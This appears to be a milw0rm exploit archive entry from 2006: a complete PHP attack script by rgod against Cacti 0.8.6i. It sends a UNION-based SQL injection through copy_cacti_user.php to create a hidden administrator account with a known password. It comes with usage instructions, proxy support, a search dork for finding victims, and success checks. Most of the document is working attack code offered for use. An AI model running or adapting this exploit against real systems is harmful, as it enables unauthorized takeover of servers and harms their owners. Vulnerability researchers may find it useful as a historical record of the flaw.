Cacti 0.8.6i - 'copy_cacti_user.php' SQL Injection Create Admin

<?php
print_r('
---------------------------------------------------------------------------
Cacti 0.8.6i "copy_cacti_user.php" sql injection create new admin exploit
by rgod
dork: intitle:"login to cacti"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
');

if ($argc<3) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to Cacti
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /cacti/ -P1.1.1.1:80
php '.$argv[0].' localhost / -p81
---------------------------------------------------------------------------
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";

for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

/*
vulnerable script:
...
if (! isset($_SERVER["argv"][0])) {
	die("This script is only meant to run at the command line.\n");
}
if (empty($_SERVER["argv"][2])) {
	die("\nSyntax:\n php copy_cacti_user.php <template user> <new user>\n\n");
}

$no_http_headers = true;

include(dirname(__FILE__) . "/include/config.php");
include_once($config["base_path"] . "/lib/auth.php");

$template_user = $_SERVER["argv"][1];
$new_user = $_SERVER["argv"][2];

print "Cacti User Copy Utility\n";
print "Template User: " . $template_user . "\n";
print "New User: " . $new_user . "\n";

$user_auth = db_fetch_row("select * from user_auth where username = '$template_user'");
if (! isset($user_auth)) {
	die("Error: Template user does not exist!\n\n");
}

print "\nCopying User...\n";

@user_copy($template_user, $new_user);

$user_auth = db_fetch_row("select * from user_auth where username = '$new_user'");
if (! isset($user_auth)) {
	die("Error: User not copied!\n\n");
}

print "User copied...\n";
...

if register_argc_argv = on you can run the script and inject sql commands in $template_user argument
(magic_quotes_gpc is not applied to _SERVER array... )

this exploit creates a new admin user with username suntzu and password suntzu
you will set your own password (I left the 'force password change' option on
*/

$sql="111111111'/**/UNION/**/SELECT/**/1,'admin','".md5("suntzu")."',0,'Administrator','on','on','on','on','on',1,1,1,1,1/*";
$packet ="GET ".$p."copy_cacti_user.php?1+$sql+suntzu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("User copied",$html)){
  echo "exploit succeeded...";
}
elseif (eregi("user does not exist",$html)){
  echo "query error...";
}
elseif (eregi("only meant to run at the command line",$html)){
 echo "register_argc_argv = off here, exploit failed...";
}
?>

# milw0rm.com [2006-12-30]